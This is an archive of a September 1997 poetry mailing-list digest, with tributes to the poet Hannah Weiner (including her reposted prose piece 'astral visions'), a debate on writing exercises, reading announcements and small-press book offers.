> *I am searching desperately for listservs on literary/academic modernism, British modernism in particular. Do you know of any others?*
>
> *I am trying to find in particular a network of English graduate students working in the field of British modernism and ready to go onto the job market for a university faculty position. I would be grateful for any information about such networks that you might have.*
>
> *Thanks very much,*
>
> *Hilary Binda*
> *English Department*
> *Tufts University*

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196. Susan Wheeler
Poetics Digest/Exercises
Sun 14 Sep 1997

I'll second Rebecca's note on play in my own 2 cents. I use exercises -- the more "rote" and the more silly the better -- as throwaways with students,

treating them as ways to unlock when self-consciousness and the weight of unassimilated theory makes them nervous. Sometimes there are great results, sometimes not, but the trick in order for this to be a limberer is not to focus on the results but on the play of it. Or so I've found.

Susan Wheeler
[redacted]
voice/fax [redacted]

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197. Alaric Sumner
email addresses
Sun 14 Sep 1997

Has anyone got email or snail addresses for:

Charles Amirkhanian
Ellen Zweig

Backchannel please. Thanks.

Alaric Sumner
words worth language arts

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198. Douglas
Hannah Weiner
Sun 14 Sep 1997

TRIBUTE TO HANNAH WEINER

Hannah cared immensely about her writing, and she
was interested in having people read and hear her
work. In memory of Hannah, I am offering one of her
major works, SPOKE, at a 50% discount. The price is
$3.50. Please contact me at [redacted]

In memory of Hannah, I am posting, below one of her
later works, an incredible story/memoir/fantasty/
journal titled "astral visions." This will appear
in MR. KNIFE, MISS FORK: PERFORMANCES

i want to discuss astrals, the visions and i want to begin with paw because he seems to have started his existence three years ago this coming january and still exists the reason to discuss paw is that he is one of the teachers and gives me instruction continually and in the three years i've known him, or that he has appeared, he's grown in intelligence and acuteness and accuracy and he

also happens to be the funniest person that i know he didn't start out as paw and i will tell you the story it all begins the day i went to cancun three years ago when an invisible man walked into my bedroom and i could just see the outline of his parka, and he dressed me very slowly, i was still sweating, (or I was sweating then as well), in a black lace bra and white cotton panties and then he put a finger up the leg of my panties and tickled my hip-bone very chastely and said "coochi-coo" and made me lie very still in between dressing so i wouldn't sweat the rest of it was up to me i got on the plane and nothing happened until the meal was served when there was a voice saying, "ma, eat the chocolate mousse, ask for more?" we got to cancun and i put my suitcase down on a little table for suitcases, and overhead i heard the clash of arms after the clash of arms i heard a woman's voice from the yoga institute saying "well now we unpack our suitcases and put our undies neatly on the shelf" i automatically began to unzip the suitcase to unpack it and the invisible man grabbed me by the back of my parka and made me get undressed i was soaking wet, my hair, my body, my clothes, everything and he made me get undressed i hung up my clothes in deference to the yoga lady i put my underwear and socks in the sink with some soapy water and the invisible man pushed me into the shower where I took a shampoo and washed off the sweat the invisble man disappeared the next thing that happened was purely mechanical, I tried to get about a half dozen blankets to wrap myself up in because it was pouring rain and it was cold i made a blanket roll of five blankets after i discovered that you lie in the middle and you throw one blanket over the other, (you begin on one side and rolling over them), and i put a blanket on top of all that right up to my chin, and under- neath the blanket appeared the bear i don't know that i called him paw at this time or that he called himself paw at this time, but he was a brown bear and i could see his head and his eyes and his nose peaking out from underneath the top blanket and he had one paw chastely placed on my chest between my breasts saying, "i have a real maw," and he stayed under the covers for four weeks (i was there for four weeks trying to get a place out but couldn't) and every once in awhile he'd say something like, "order more chocolate cake ma" and "I have a real ma" and "my jaw hurts" the interesting thing that i have to say about the bear is that he's an astral for an indian someone has invented for him- self an astral that speaks for him in the form of a bear in some indian legends a bear is a healer, not that paw has ever done any healing for me,"* but his instructions were bood, except at the beginning he really wasn't doing too much after four weeks when the sun came out and it got really hot he walked out in full brown fur saying, "see you onthe plane ma"

---

* but I have felt his real self sending me bliss

[now one thing happened in mexico that i'd like to talk about and that's the man from sonora who appeared astral this is a little interlude about paw the man from sonora appeared in my bedroom three times before i left ny, just his white hat and his long white hair and once a blanket over his shoulder before the ruins i got the message the first week i was there that he wanted to meet the woman with the long pipe (that's me) and he appeared in image form and he showed me a blanket trick that explained a little bit of castanida to me he was obviously an ancient mexican teacher who wanted to say certain things before he died and to pass on some of his knowledge he kept flipping the blanket (all of these things were very, very vividly seen) the blanket was sort of like in squares of different colors with a black outline now the black outline always remained the same but the patterns and colors of the squares kept changing so the lesson learned from that you could create an image but you couldn't keep it constant, you had to keep chaning the image he also had people circling the room, flying over- head in a circle that's something i'm not able to do myself and neither or any of the other teachers some of them can fly straight but nobody is able to circle it isn't really necessary, it's a matter of who is watching whom it's a way of guarding to have the man from sonora told me two things, he said "always give a health diagnosis out loud" and "to speak slow while speaking silent" because of the rain and because he wanted to meet me he made a long trip up the road from the ruins to the hotel and evidently he broke a leg or something happened and he fell in a ditch by the wayside and one night I woke up crying and sang a crossing song from "the big huge," it's something about a great light crossing the river, so i knew the man had died then appeared a woman, an elderly woman who evidently put a cross by hisbones and who the following day showed me his white hat, his white shirt, and white pants all neatly laundered and pressed out, so i know the man had died] ok, now the bear lots of other things happened in mexico but i don't have time for them i want to talk about paw when i got home the bear was very small, he had changed shape to a very small brown bear who lived in a cupboard in my forehead it had blue sheets and if i looked through catalogs and he saw some clothes that he liked he would immediately appear with the clothes on particularly a pair of black bicycling shorts and some wading shoes i tried to keep him occupied and i sent him on trips one was skiing in south america, and one was sending him to the south pole, and finally he decided to take his real ma on a honeymoon or whatever, a vacation and they went aboard a great big ocean liner and she, i think she was called ma belle, sat on a deck chair lounging on the deck of the ship and paw, or the bear, was flying overhead in circles because he was bored sitting on the deck when they got to france they rented a limousine and paw donned a chauffeurs cap and drove the limousine and all through france all is saw were pile and iles of spaghetti, that's all they seemed to eat for some reason also paw invented travelers checks so that he could pay

for this whole thing this is the imagination of someone whose name is unknown but who has invented a form through which he can work so this was just sort of fun at the time you must remember that paw has written a great deal for me he wrote "the comma" in SILENT TEACHERS with noah kleinman my friend from england and he wrote "turpitudimous" which i read in october and he also gets in everywhere when i type up anything for the next book called WE SPEAK SILENT, or whatever it's going to be called finally paw and ma belle landed on a caribbean island, just the two of them under the shade of a palm tree the next thing i know paw turned into a great big white bear, not his final form he was called poohee at the time i went for a walk in the park and poohee got locked in the apartment and had to squeeze himself through the keyhole and i was accompanied in imae form by two people from the yoga institute one dressed in white who was walking alongside me and one who was dressed in pink who was sort of flying along beside me and poohee caught up and started smooching, you know he started sort of leaning over and kissing me or pretending to kiss me, or to tickle me or to laugh to make it a lovers lane walk and i started to laugh hysterically and i thought what will ever happen if i'm picked up by somebody, here i am talking to someone who is invisible an; oh well he was very funny the next time i went to the park paw* left the path and went over to some antique fair and came back with a velvet vest on it was a lilac velvet vest with red braid and green stones and an earring i laughed i talked to a girlfriend on the phone a few nights later and she was a very beautiful girl and paw clued me into the fact that i was talking to a very beautiful woman and he went out to see her and the next morning he appeared combing hair out of his teeth and the green stones were gone from his vest somewhere along the way his real ma got pregnant and we were walking along 14th street with the open stalls and he saw a bunch of little girls dresses he wanted a "pinkie" as he called it little girls dresses with little angel sleeves and some towels so he quickly donned a striped apron and cap imaged a big cart in front of him and trundled off piles of baby dresses with angel wing sleeves and towels, and brought them back to the apartment and we had to box them and ship them and send them all to his home he used to sit on the bed next to me reading the new york times with steel rimmed glasses the last time i really saw paw in any remarkable circumstance was at woodstock he had disappeared for awhile, he said "maw I have to go hime, something important is happening" and i was having breakfast at a coffee shop and there appeared paw sitting across the table from me with a big grin and next to him was a white lady bear, a daintier, felt to be a gentle with a wreath and a long bridal veil and they were toasting each other in white coffee cups that was the summer i hurt my back and the lady bear would appear with a pink apron and a cup on a tray and would bring me coffee or tea or whatever well i guess that's paw no maw im still really working hard besides paw and mrs paw there is a baby bear.

*he was now in his final form, a large white bear with a big fat tummy.

c 1997 by Hannah Weiner

Charles Bernstein saw the original performance of this. Perhaps he will recount some of his impression of it.

Douglas Messerli

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199. Tom Mandel
Hannah Wiener
Sun 14 Sep 1997

When with Hannah Wiener you knew you would be recognized for what you radiate. When through a locked door you hear a sound, voice wanting to enter, it is not from beyond it is the door you have to open. No friend more difficult than truth, in which everything simple is so subtle, ineluctable. I befall you; I am an accident. Whom will you find to leave me behind?

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4020 Williamsburg Ct, Ste 200 * vox: [redacted]
Fairfax, VA 22031 * fax: [redacted]
****

Join the Caucus Conversation

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200. jarnot
Poetry Project Readings, Fall 97
Sun 14 Sep 1997

The following readings will be taking place at the Poetry Project at St. Mark's Church in NYC this fall:

October 8: Bernadette Mayer & Barbara Guest

October 15: Edwin Torres & Rod Smith

October 22: Jena Osman & Fiona Templeton

October 29: Prageeta Sharma & Stephen Rodefer

November 5: Rosmarie Waldrop & Jacques Roubaud

November 12: Peter Gizzi & Lorenzo Thomas

November 19: Charlotte Carter & Lydia Davis

These readings are on Wednesday nights at 8:00 pm. The Poetry Project is located at East 10th Street and 2nd Avenue in Saint Mark's Church. Program coordinators for the series are Eleni Sikelianos and Lisa Jarnot.

[redacted]
box 185/NY, NY 10009

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201. **red slider**
Re: Hannah Weiner
Sun 14 Sep 1997

From: Douglas[SMTP:[redacted]]
Sent: Sunday, September 14, 1997 7:15 AM
To: [redacted]
Subject: Hannah Weiner

TRIBUTE TO HANNAH WEINER

Hannah cared immensely about her writing, and she
was interested in having people read and hear her
work. In memory of Hannah, I am offering one of her
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in MR. KNIFE, MISS FORK: PERFORMANCES

i want to discuss astrals, the visions and i want to begin with paw because he seems to have started his existence three years ago this coming january and still exists the reason to discuss paw is that he is one of the teachers and gives me instruction continually and in the three years i've known him, or that he has appeared, he's grown in intelligence and acuteness and accuracy and he also happens to be the funniest person that i know he didn't start out as paw and i will tell you the story it all begins the day i went to cancun three years ago when an invisible man walked into my bedroom and i could just see the outline of his parka, and he dressed me very slowly, i was still sweating, (or I was sweating then as well), in a black lace bra and white cotton panties and then he put a finger up the leg of my panties and tickled my hip-bone very chastely and said "coochi-coo" and made me lie very still in between dressing so i wouldn't sweat the rest of it was up to me i got on the plane and nothing happened until

the meal was served when there was a voice saying, "ma, eat the chocolate mousse, ask for more?" we got to cancun and i put my suitcase down on a little table for suitcases, and overhead i heard the clash of arms after the clash of arms i heard a woman's voice from the yoga institute saying "well now we unpack our suitcases and put our undies neatly on the shelf" i automatically began to unzip the suitcase to unpack it and the invisible man grabbed me by the back of my parka and made me get undressed i was soaking wet, my hair, my body, my clothes, everything and he made me get undressed i hung up my clothes in deference to the yoga lady i put my underwear and socks in the sink with some soapy water and the invisible man pushed me into the shower where I took a shampoo and washed off the sweat the invisble man disappeared the next thing that happened was purely mechanical, I tried to get about a half dozen blankets to wrap myself up in because it was pouring rain and it was cold i made a blanket roll of five blankets after i discovered that you lie in the middle and you throw one blanket over the other, (you begin on one side and rolling over them), and i put a blanket on top of all that right up to my chin, and under- neath the blanket appeared the bear i don't know that i called him paw at this time or that he called himself paw at this time, but he was a brown bear and i could see his head and his eyes and his nose peaking out from underneath the top blanket and he had one paw chastely placed on my chest between my breasts saying, "i have a real maw," and he stayed under the covers for four weeks (i was there for four weeks trying to get a place out but couldn't) and every once in awhile he'd say something like, "order more chocolate cake ma" and "I have a real ma" and "my jaw hurts" the interesting thing that i have to say about the bear is that he's an astral for an indian someone has invented for him- self an astral that speaks for him in the form of a bear in some indian legends a bear is a healer, not that paw has ever done any healing for me,"* but his instructions were bood, except at the beginning he really wasn't doing too much after four weeks when the sun came out and it got really hot he walked out in full brown fur saying, "see you onthe plane ma"

---

* but I have felt his real self sending me bliss

[now one thing happened in mexico that i'd like to talk about and that's the man from sonora who appeared astral this is a little interlude about paw the man from sonora appeared in my bedroom three times before i left ny, just his white hat and his long white hair and once a blanket over his shoulder before the ruins i got the message the first week i was there that he wanted to meet the woman with the long pipe (that's me) and he appeared in image form and he showed me a blanket trick that explained a little bit of castanida to me he was obviously an ancient mexican teacher who wanted to say certain things

before he died and to pass on some of his knowledge he kept flipping the blanket (all of these things were very, very vividly seen) the blanket was sort of like in squares of different colors with a black outline now the black outline always remained the same but the patterns and colors of the squares kept changing so the lesson learned from that you could create an image but you couldn't keep it constant, you had to keep chaning the image he also had people circling the room, flying over- head in a circle that's something i'm not able to do myself and neither or any of the other teachers some of them can fly straight but nobody is able to circle it isn't really necessary, it's a matter of who is watching whom it's a way of guarding to have the man from sonora told me two things, he said "always give a health diagnosis out loud" and "to speak slow while speaking silent" because of the rain and because he wanted to meet me he made a long trip up the road from the ruins to the hotel and evidently he broke a leg or something happened and he fell in a ditch by the wayside and one night I woke up crying and sang a crossing song from "the big huge," it's something about a great light crossing the river, so i knew the man had died then appeared a woman, an elderly woman who evidently put a cross by hisbones and who the following day showed me his white hat, his white shirt, and white pants all neatly laundered and pressed out, so i know the man had died] ok, now the bear lots of other things happened in mexico but i don't have time for them i want to talk about paw when i got home the bear was very small, he had changed shape to a very small brown bear who lived in a cupboard in my forehead it had blue sheets and if i looked through catalogs and he saw some clothes that he liked he would immediately appear with the clothes on particularly a pair of black bicycling shorts and some wading shoes i tried to keep him occupied and i sent him on trips one was skiing in south america, and one was sending him to the south pole, and finally he decided to take his real ma on a honeymoon or whatever, a vacation and they went aboard a great big ocean liner and she, i think she was called ma belle, sat on a deck chair lounging on the deck of the ship and paw, or the bear, was flying overhead in circles because he was bored sitting on the deck when they got to france they rented a limousine and paw donned a chauffeurs cap and drove the limousine and all through france all is saw were pile and iles of spaghetti, that's all they seemed to eat for some reason also paw invented travelers checks so that he could pay for this whole thing this is the imagination of someone whose name is unknown but who has invented a form through which he can work so this was just sort of fun at the time you must remember that paw has written a great deal for me he wrote "the comma" in SILENT TEACHERS with noah kleinman my friend from england and he wrote "turpitudimous" which i read in october and he also gets in everywhere when i type up anything for the next book called WE SPEAK SILENT, or whatever it's going to be called finally paw and ma belle landed on a caribbean island, just the two of them under the shade of a palm tree the

next thing i know paw turned into a great big white bear, not his final form he was called poohee at the time i went for a walk in the park and poohee got locked in the apartment and had to squeeze himself through the keyhole and i was accompanied in imae form by two people from the yoga institute one dressed in white who was walking alongside me and one who was dressed in pink who was sort of flying along beside me and poohee caught up and started smooching, you know he started sort of leaning over and kissing me or pretending to kiss me, or to tickle me or to laugh to make it a lovers lane walk and i started to laugh hysterically and i thought what will ever happen if i'm picked up by somebody, here i am talking to someone who is invisible an; oh well he was very funny the next time i went to the park paw* left the path and went over to some antique fair and came back with a velvet vest on it was a lilac velvet vest with red braid and green stones and an earring i laughed i talked to a girlfriend on the phone a few nights later and she was a very beautiful girl and paw clued me into the fact that i was talking to a very beautiful woman and he went out to see her and the next morning he appeared combing hair out of his teeth and the green stones were gone from his vest somewhere along the way his real ma got pregnant and we were walking along 14th street with the open stalls and he saw a bunch of little girls dresses he wanted a "pinkie" as he called it little girls dresses with little angel sleeves and some towels so he quickly donned a striped apron and cap imaged a big cart in front of him and trundled off piles of baby dresses with angel wing sleeves and towels, and brought them back to the apartment and we had to box them and ship them and send them all to his home he used to sit on the bed next to me reading the new york times with steel rimmed glasses the last time i really saw paw in any remarkable circumstance was at woodstock he had disappeared for awhile, he said "maw I have to go hime, something important is happening" and i was having breakfast at a coffee shop and there appeared paw sitting across the table from me with a big grin and next to him was a white lady bear, a daintier, felt to be a gentle with a wreath and a long bridal veil and they were toasting each other in white coffee cups that was the summer i hurt my back and the lady bear would appear with a pink apron and a cup on a tray and would bring me coffee or tea or whatever well i guess that's paw no maw im still really working hard besides paw and mrs paw there is a baby bear.

*he was now in his final form, a large white bear with a big fat tummy.

c 1997 by Hannah Weiner

Charles Bernstein saw the original performance of this. Perhaps he will recount some
of his impression of it.

Douglas Messerli

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202. aerialedge
remembered sequel
Sun 14 Sep 1997

This is a review written a few years ago which I never published thinking to say more. Hannah thought it was done. Looking at it now, she was right.

HANNAH Hi

on _silent teachers / remembered sequel_, Hannah Weiner, Tender Buttons, $7.95.

particles marm, have we discussed particles

The thing about being
clairvoyant is the multiplicity
can't be divided. Time
causes the trouble of keeping
up. Seeing so much simultaneously
that the depend & the enact
gather the motion into each
each-- it can get kinda
spikey

i free i see super working silent

Location leads to narrative.
Narrative leads to namings (i.e. motions (i emotions (in others (i, i, i, i))).

This is WRITING
(_also drumming_) -- a bunk
as in bed that implicates
all friends. Hannah has
it.
Technical talk:
Narrative of where is it.
No Nylon.
Nobody won't not

publish this in this since--

they all see words w/out

since. That's a key

(canons in cities) which being brightly (like a phone call from fire) would cause one to speak 3-D SO all I mean is read this book out loud period period dot & period

--Rod Smith

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203. **Celia M White**
Re: writing ex.
Sun 14 Sep 1997

I do teach writing, to 4th graders and mental health clients and high school students and working adults. Excersizes help people relax, especially when they don't already have a writing practice. the most talented students I have often saythey never write on their own, because they don't know how to get themselves started. When they have a list of open-ended options, they often do start, at least a little. My point as a teacher is entirely to get people writing, anything; once they have this habit, the journey takes them. I use Natalie GOldberg, John Gardener's The Art of Fiction, the new Practice of Poetry edited by Twitchell and Behn, stuff I make up, stuff kids suggest. (One popular one: "I'm hungry for....") Whatever helps, helps.

Celia White [redacted] SILS Box 35 "One cuts oneself far more often with a dull knife than with a sharp one."

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204. **Maria Damon**
Re: email addresses
Sun 14 Sep 1997

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any one go t an e address for mark wallace? pls back-c --md

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205. **Hank Lazer**
Re: Hannah Weiner (1928-1997)
Sun 14 Sep 1997

My condolences to Charles Bernstein & others who were close to Hannah Weiner. Over the past ten or twelve years, I taught Hannah's writing in my contemporary poetry classes, and I corresponded a bit with her about her writing and about teaching her work. Initially, her writing would evoke great skepticism (particularly among the graduate students in creative writing). Of course, we found various analogous writings in our immediate surroundings--mystic script writing of a number of folk artists, for example (JB Murry, the Reverend

Perkins, Howard Finster, Fred Webster, and so on). Others have commented on the fusion of the personal and the experimental in Hannah's writing; I was also struck by the politics of it, especially with regard to Native American activism. Once in my life, I was invited to read in NCY, and did so at The Ear Inn. I was absolutely thrilled when Hannah introduced herself to me. When I was teaching her work, at some point the intensity and vulnerability of her word-vision experience hit me, and continues to hit me.... In many ways, she has helped me to see words in ways I had not known before.

Hank Lazer

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206. Peter Ganick
Hannah Weiner publications-----
Sun 14 Sep 1997

one of hannah weiner's last publications was her
issue of A.BACUS #107, which consists of pages
69-87 of a new text of hers' entitled SONORA.
the usual price for A.BACUS is $4, postpaid.

for the next month or so, send $3, cash, and i
will snailmail a copy on the new 25% cotton,
acid-free paper to be used for future A.BACUS
issues.

a few issues of her 1981 chapbook, nijole's house,
are available at $10 each.

send $3 to:
Peter Ganick
Potes & Poets Press Inc
181 Edgemont Avenue
Elmwood CT 06110-1005

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207. Douglas
Bernadette Mayer
Sun 14 Sep 1997

What with all the very sad news of Hannah
Weiner's death, I thought it might also be
good to have some positive news.

In todays NEW YORK TIMES BOOK REVIEW, Bernadette
Mayer has a poem on the end sheet, titled
"A Very Short Anthology of New Verse." Her
poem, "Eleventh Cup," (published originally in
TORQUE) was reprinted by the TIMES from my anthology,
THE GERTRUDE STEIN AWARDS INNOVATIVE AMERICAN POETRY
1994-1995. I'm currently working on the 1995-1996
edition.

Douglas Messerli
Sun & Moon Press

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208. **Judy Roitman**

Re: Writing exercises

Sun 14 Sep 1997

> *James Finnegan Asked, "What great poems have been produced from writing exercises?" I don't know about great, but one of my favorite poems, Keats's *On the Grasshopper and Cricket*, was the result of an exercise. I'm hazy on the details, but some kind of sonnet-writing contest was suggested at a gathering of poets, and Keats batted out the preceding in competition with Leigh Hunt (I think). Shelley might have participated, too, I'm not sure.*
>
> *There's also the example of the obviously exercise poems that begin Shakespeare's sonnet sequence.*
>
> *In any event, I'm definitely with Charles Alexander about the value of procedure poems/exercise poems/what-if-I-do-this poems. Even if nothing comes from working on such poems in a workshop, the experience of what-iffing has to be valuable.*
>
> *--Bob G*

In fourth grade we were supposed to write five sentences a week, each one containing one spelling word, so that we would have used 25% of the words given each week. Bored (and I'm sure quite obnoxious about it) I would instead write a twenty-line rhymed and metered poem with a spelling word in every line. The poems were absolutely awful, even for a fourth grader, but the experience of struggling with the language under those tight constraints absolutely invaluable.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]

| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

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209. **Mark Baker**

Re: Unprosing Exercise

Sun 14 Sep 1997

Bob Grumman wrote:

> *A technique to unprose an image is one whose purpose is to lift the image out of its prosaism, to invest it with a more-than-common sensual richness.*

You have an image in front of you now. It's not daffodils, nor is it wheelbarrows. It does have commonness, and its sensual richness is masked by your efforts to construe the semantics of these signs you are now reading.

I asked my students on Friday to write an exercise, of
the kind Finnegan would likely detest. Take the poem everyone knows;
rewrite it on a medium your writing now depends upon.

My effort follows below.
I'll submit your better efforts to my students.

Unprose this image before you.

_____

The Pixelled Screen

so much opens
up on

windows nine-
ty five

showing bright
icons

clicked at by
a mouse.

Mark Baker

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210. **Steve Evans**

ILS 7: Ellingham/Killian on Spicer

Sun 14 Sep 1997

Lewis Ellingham and Kevin Killian's riveting account of "Five Years in the Life of Jack Spicer" was published as the seventh installment of the Impercipient Lecture Series earlier this month. A preview of the biography forthcoming next year from Wesleyan, this chapter documents with lush and knowing detail the years 1950-1955. Picking up with his brief stint in Minneapolis, and depositing him in Boston isolation, this period also includes a stretch in the more familiar environs of the Bay area, where Spicer "was living a full, almost schizophrenic life--teaching at C[alifornia] S[chool] of F[ine] A[rt], sitting the Gallery, drinking at The Place, participating in the 'Old Ladies' Bridge Club' in Berkeley on Fridays, keeping in touch with his mother in Los Angeles, attending Mattachine meetings (now in San Francisco), and trying to continue his long-term project, the _Imaginary Elegies_" (26).

That's the good news. The bad news is that only two or three copies remain from the initial run of 150, so chances are you'll have to borrow (or xerox) one from a friend. However, if you'd like to be kept in mind in the event of a small reprint, let us know.

Thanks to the generosity of Loss Glazier and Diane Ward, you can now keep up with the ILS on the EPC by visiting http://writing.upenn.edu/epc/presses/impercipient_lecture.html. And look soon for ILS 4 (the Perelman panel) on John Tranter's stylish web mag _Jacket_ at http://www.jacket.zip.com.au/

Subcriptions to the ILS are US$25 for ten issues (no additional charge for overseas subcribers); US$40 for institutions. Single copies go for US$5 when available. Please make checks out to one of the editors, NOT the magazine. Back-issue currently available:

1.5 'Imperturbable Things': On Still-Life Poetics by Beth Anderson (last 2 copies) 1.4 Responses to Bob Perelman's _The Marginalization of Poetry_ by Silliman, Lauterbach, Spahr, and Evans; with counter-response by Perelman 1.1 The Dynamics of Literary Change by Steve Evans (rpt)

Back issues currently out of print are:

1.6 No Saints in Three Acts: On Steven Jonas by Aldon L. Nielsen
1.3 The Ground Is the Only Figure by Rosmarie Waldrop
1.2 Radical Dogberry and Society Sketches: Two Essays by Chris Stroffolino

Steve Evans & Jennifer Moxley
61 E. Manning Street
Providence RI 02906-4008

r i a t n m u a t s u o
o o s

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211. **Judy Roitman**
Re: writing ex.
Sun 14 Sep 1997

> *I do teach writing, to 4th graders and mental health clients and high school students and working adults. Excersizes help people relax, especially when they don't already have a writing practice. the most talented students I have often saythey never write on their own, because they don't know how to get themselves started. When they have a list of open-ended options, they often do start, at least a little. My point as a teacher is entirely to get people writing, anything; once they have this habit, the journey takes them. I use Natalie GOldberg, John Gardener's The Art of Fiction, the new Practice of Poetry edited by Twitchell and Behn, stuff I make up, stuff kids suggest. (One popular one: "I'm hungry for....")*
> *Whatever helps, helps.*
>
> *Celia White [redacted] SILS Box 35*
> *"One cuts oneself far more often with a dull knife than with a sharp one."*

Seems to be two kinds of exercises in this thread: nuts-and-bolts focus on language, and the above. They are so different from each other I can't even think of them in the same breath.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----
http://titania.math.ukans.edu/faculty/roitman/

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212. **charles alexander**
Re: Hannah Wiener's Last Book
Sun 14 Sep 1997

> *If any of you are interested in _We Speak Silent_ please let me know.*
>
> *James Sherry*

Yes, please James.

Thank you.

Charles Alexander
Chax Press
101 W. Sixth St. no. 6
Tucson, AZ 85701-1000

charles alexander
poet and book artist
[redacted]

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213. red slider
Question about Hannah Weiner
Sun 14 Sep 1997

Somewhere among the many moving descriptions of Hannah Weiner I recall a brief suggestion that she was somewhat self-protective about 'information exposure'. I wonder if anyone can tell me what her own reading habits were like - spare, selective, avaricious, serendipitous...? What were some of her favorites? post or bkchn - red.

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214. red slider
Re: Unprosing Exercise
Sun 14 Sep 1997

From: red slider[SMTP:[redacted]]
Sent: Sunday, September 14, 1997 2:37 PM
To: '[redacted]'
Subject: RE: Unprosing Exercise

From: Mark Baker[SMTP:[redacted]]
Sent: Sunday, September 14, 1997 12:33 PM
To: [redacted]
Subject: Re: Unprosing Exercise

Bob Grumman wrote:

> *A technique to unprose an image is one whose purpose is to lift the image out of its prosaism, to invest it with a more-than-common sensual richness.*

You have an image in front of you now. It's not daffodils, nor is it wheelbarrows. It does have commonness, and its sensual richness is masked by your efforts to construe the semantics of these signs you are now reading.

I asked my students on Friday to write an exercise, of
the kind Finnegan would likely detest. Take the poem everyone knows;
rewrite it on a medium your writing now depends upon.

My effort follows below.
I'll submit your better efforts to my students.

Unprose this image before you.

The Pixelled Screen

so much opens
up on

windows nine-
ty five

showing bright
icons

clicked at by
a mouse.

Mark Baker

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215. **Thomas Bell**
Re: A Song of Despair
Sun 14 Sep 1997

Good idea. I am currently having problems with the 'paucity' of words in Americenglish having to do with certain feelings and relationships: "parenting", in particular, at the moment. suggestions welcome. tom bell

At 10:54 AM 9/14/97 +0700, Rebecca Weldon wrote:
>I characterize this century as the one of "form will set you free". Form,
>no form, different form, form exercises, form-is-content, content-is-form,
>form as language, language as form, form-of-thought, no-thought-form, a sea
>of forms eroding continents of form bequeathed.
>
>The rats eat my notebooks of form and I am glad they are nourished. There
>was a time when all I had was form and Neruda and myself. I exercised an
>exploration of the place Neruda showed me. Twenty exercises and a poem,

>Twenty love poems and La Cancion Desesperada.
>
>Play is creative, liberating and prepares us for what we live when play is
>done.
>
>

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216. **henry gould**
Re: writing exercises
Sun 14 Sep 1997

Did somebody say deliberation & inspiration were mutually exclusive? I said poetry & writing are often mutually exclusive. Finnegan's skepticism won't ever be too popular, not among a crowd whose bread & butter is turning poetry into various classroom techniques. How many people have written to the list now to tell us how exciting it is to experiment, how productive? Fine. Hey, poetry is the thing. Anybody against poetry here?

We agree on a lot of things. Finnegan's position, which I am defending, is a reminder that poetry is not only universal, everywhere, democratic, untapped, available, un-elitist, beautiful, unplanned, etc. -

it is also, as the greatest poets will tell you - elusive, unexplainable, profound, high, great, deep, overwhelming, shattering, work of a lifetime, work of genius, unique, rare, precious, inimitable. GET IT???? A GIFT.

Pleasure in writing, happiness in writing are one thing. Poetry, on the other hand, ... well, it's like Life, or Love. Don't bowdlerize & industrialize it. Don't idolatrize it. Respect it for what it is - something unknown.

the idol of America is PRODUCTION. But poetry, among all the other things mentioned, is also the benchmark. The UNATTAINABLE. Listen...

- Henry Gould

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217. **James Sherry**
Hannah Wiener's Last Book
Sun 14 Sep 1997

Roof Books published Hannah's last book: _We Speak Silent_ in 1996. Hannah had been ill off and on for a few years, but no one expected her death. She came to a reading of mine as recently as May 1997 and was vigorous if

distracted. She was a wonder and a trial to me for 20 years. I will miss her very much.

If any of you are interested in _We Speak Silent_ please let me know.

James Sherry

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218. **henry gould**
Re: writing exercises
Sun 14 Sep 1997

In the Italian film "The Postman", hashed over here several months ago, one (Neruda) lives for poetry, another (the postman) literally dies for poetry. Poetry is Olson's father. Poetry is the overturning of the present by the future, the stumbling fox after the turtle (dove). Diana, Teresa, pure poetry of the next millenium, floating into the end of the LAST century. Poetry more than anything is a black stone on a white stone. Communism - the poetry of injustice. Christianity - the poetry of Judaism. Judaism - the poetry of justice. Justice - the poetry of reality. Reality - the poetry of communism. Soviet ideology - technique.

- a Sunday meditation by Eric Blarnes, class traitor, Cambridge, U.K.

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219. **James Sherry**
Hannah Weiner's Last Book
Sun 14 Sep 1997

I published Hannah Weiner's last book in 1996. If anyone is interested in it, please contact me here.

Hannah was a wonder and a trial. I will miss her, all of it. Although she had been ill on and off for years, I don't think anyone expected her death. She attended a reading of mine as recently as May of this year. She was vigorous if distracted and tore up paper while I read. James Sherry

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220. **aerialedge**
NEW Davidson, Debord, Fraser, Ginsberg, Levy &&& @ Bridge Street
Mon 15 Sep 1997

---

lots new. thanks again, poetics, for yr support. orderinfg info. poetics discount at
end of list.

1. _Friendship_, Maurice Blanchot, Stanford, $17.95. 29 essays on art, politics, literature covering such as Klossowski, Duras, Leiris, Gorz, Kafka, Paulham, Camus, Jabes, Levinas, Buber, Malraux, Benjamin, & Bataille.

2. _Revolution of the Mind: The Life of Andre Breton_, Da Capo, $20.95. "I am Surrealism!"

3. _Rebecca Letters_, Laynie Browne, Kelsey St., $10. "Laynie Browne's alchemically applied linguistics unfold the space between poem and prose, revealing a crepuscular zone "where it's warm enough to stop on the street." --Lee Ann Brown. ". . . or intention dwelling there along a shore. (parentheses are crescents.)"

4. _Conjunctions 28: Secular Psalms_, ed Bradford Morrow, Bard College, $12. Maureen Howard, Cortazar, Osman, D Foster Wallace, Joanna Scott, Berssenbrugge, Mike McCormack, Gevirtz, Sorrentino, Willis, Tarn, Hollo, Can Xue, Eugenides, Stephen Dixon, Guest, Oates, Mac Low, Paul West, Toby Olson, Kelly, Caponegro + Music Theater portfolio edited by Thalia Field including Harry Partch, Robert Ashley, Meredith Monk &&&.

5. _Ghostlier Demarcations: Modern Poetry and the Material Word_, Michael Davidson, U. Cal., $35 hc. Michael Davidson argues that the modernist ideology of the work of art as autonomous object has dominated our idea of literary materiality and hindered our ability to to read poetry as a socially critical medium. "The relation of material word to material world in all its ideological complexties is Davidson's subject. The book thus has a double value: it provides us with a host of genuinely new readings-- of Gertrude Stein and Louis Zukofsky, George Oppen and Susan Howe, Muriel Rukeyser and Laurie Anderson-- but it also provides us with theoretical and cultural tools whereby recent verbal experiments-- whether graphemic, morphemic, or genetic-- may be understood. A terrific accomplishment!" --Marjorie Perloff.

